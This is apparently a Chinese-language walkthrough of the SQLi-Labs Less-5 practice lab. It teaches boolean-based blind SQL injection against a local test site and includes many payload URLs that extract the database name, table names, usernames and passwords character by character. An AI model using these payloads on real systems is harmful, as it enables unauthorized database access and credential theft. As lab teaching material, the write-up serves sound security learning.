输入 ?id=1'报错

判断字段 ?id=1' order by 4 %23 报错 ?id=1' order by 3 %23 不报错说明存在三个字段

你可能会觉得，使用下面这个就能爆出users表里面的用户名和密码，试试吧

http://127.0.0.1/sqlilabs/Less-5/?id=9999' union select 1,group_concat(username,'---',password),3 from users --+

还是 You are in…

大意了吧，这就是传说中的盲注，也是真实环境中经常遇到的情况，谁写代码，还给你那么多提示，统一返回一种提示，那这里显然就是You are in…

对比一下这两关，less-5没有输出查询结果，只有当查询结果正确时会返回一个You are in.......，查询结果不正确的时候没有返回。没有输出查询结果有判断查询结果是否正确的因素，布尔型盲注

只要你的SQL语句能正常执行（可以查询到结果），就会显示You are in，比如：

查询一个不存在的id，例如：id=9999，就会什么都不显示

通过这个方式也证明了less5 存在布尔型盲注。一正一反，非黑即白，就给你两种提示，查到了，提示You are in，没查到黑屏，所以我们可以利用这种方式来进行爆破当然一般遇见这种情况，大家都会选择burp或者sqlmap进行爆破，其实工具使用非常简单，我们这里多多演示手工过程（原理），其实工具就是把手工过程做成大量的请求，根据上一次返回值来进行下一次的请求发送

经常，盲注中也会用到sleep 但是既然他都给这两种提示了，我们就先不用sleep（看看后面有木有机会可以用到）

使用left 因为我们得不到任何提示，所以只能一个字母一个字母的去爆破，比如库，要把每一位取出来，然后和26个字母比较（或者和ascii码比较）

主要思路

主要思路一般是：找出闭合方法，利用截断函数对要查询的结果的每一位进行比较，通过回显判断对错来猜出查询结果

猜测数据库长度，大于10不成立，就大于5。。。最后是等于8

http://127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())>10--+
里面的>10是用于判断数据库的长度，都可以使用二分查找的思路
http://127.0.0.1/sqlilabs/Less-5/?id=1'and length(database())>10--+
...
http://127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=8--+

一共8位，我们就一位一位进行爆破吧，使用这种方法，慢慢来

http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),1)='a'--+
http://127.0.0.1/sqlilabs/Less-5/?id=1'and left(database(),1)='s'--+
...
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),2)='sa'--+
http://127.0.0.1/sqlilabs/Less-5/?id=1'and left(database(),2)='se'--+
...
...
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),8)='security'--+

爆表名

http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>n
a是从0开始第几个表，b从1开始为第几个字符，n是ASCII所对应的十进制数
ascii函数是求出ascii码最后结果和n比较
substr配合参数b一次找出表名的每一位
limit配合a找到每一张表
...
http://127.0.0.1/sqlilabs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101 --+
这个payload是拿出当前数据库的第一张表的第一个字符，和e（101）比较

关键的攻击代码

第一张表（emails）
http://127.0.0.1/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))='7 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=109 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1))=97 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),4,1))=105 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),5,1))=108 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1))=115 --+
第二张表（referers）
http://127.0.0.1/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))='8 --+
...
第三张表（uagents）
...
第四张表（users）
http://127.0.0.1/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))='5 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1))=117 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),2,1))=115 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),3,1))=101 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),4,1))=114 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),5,1))=115 --+
列名与值
http://127.0.0.1/sqlilabs/Less-5/?id=1'and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit a,1)=b--+
a从0开始，第a+1列的字段长度和b比较
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select username from users limit a,1),b,1))=c --+
a从0开始，b从1开始
第a+1条记录的第b位和c比较
关键payload
第一列
http://127.0.0.1/sqlilabs/Less-5/?id=1'and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=2--+
...
第二列（username）
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)=8--+
http://127.0.0.1/sqlilabs/Less-5/?id=1'and ascii(substr((select username from users limit 0,1),1,1))=68 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),2,1))=117 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'and ascii(substr((select username from users limit 0,1),3,1))=109 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),4,1))=98 --+
...
第二列（password）
http://127.0.0.1/sqlilabs/Less-5/?id=1'and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)=8--+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'and ascii(substr((select password from users limit 0,1),2,1))=117 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select password from users limit 0,1),3,1))=109 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'and ascii(substr((select password from users limit 0,1),4,1))=98 --+
...